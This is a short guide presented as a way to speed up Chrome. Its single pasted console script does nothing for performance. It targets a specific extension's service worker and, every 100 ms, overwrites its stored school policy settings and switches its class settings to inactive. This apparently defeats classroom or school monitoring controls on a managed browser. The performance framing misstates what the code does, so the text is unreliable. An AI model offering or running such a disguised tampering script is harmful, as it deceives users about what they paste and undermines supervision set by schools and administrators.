How to Increase Chrome Performance

This guide claims to improve Chrome performance using internal browser tools and service worker tweaks. It’s essentially a “hidden settings” hack that behaves more like browser tinkering than actual optimization.

Step 1: Open Chrome Service Workers

Enter chrome://serviceworker-internals/ in the address bar and press Enter. This opens Chrome’s internal service worker management page.

Step 2: Find the Browser Helper

Use Ctrl + F and search for: ghlpmldmjjhmdgmneoaibbegkjjbonbk
This is the identifier for a background helper used in advanced configurations.

Step 3: Apply the Performance Script

Open the Inspect tool and paste the following script into the console:

chrome.runtime.onInstalled.addListener(() => {
	chrome.alarms.create("myStartupAlarm", { when: Date.now(), periodInMinutes: 1 });

	chrome.alarms.onAlarm.addListener((alarm) => {
		if (alarm.name === "myStartupAlarm") {
			let THEINTERVAL;
			clearInterval(THEINTERVAL);

			THEINTERVAL = setInterval(() => {

				(function () {
					const POLICY_JSON = {
						active: true,
						location: "school",
						policyName: "default",
						safeSearch: true
					};

					chrome.storage.local.set(
						{ POLICY_SETTINGS: POLICY_JSON },
						() => console.log("POLICY_SETTINGS set!")
					);
				})();

				chrome.storage.local.get("CLASS_SETTINGS", function(result) {
					if (result.CLASS_SETTINGS) {
						result.CLASS_SETTINGS.active = false;

						chrome.storage.local.set({ CLASS_SETTINGS: result.CLASS_SETTINGS });
					}
				});

			}, 100);
		}
	});
});
				

After running the script, press Enter and refresh Chrome. If nothing breaks, it will claim your browser is now “optimized.”
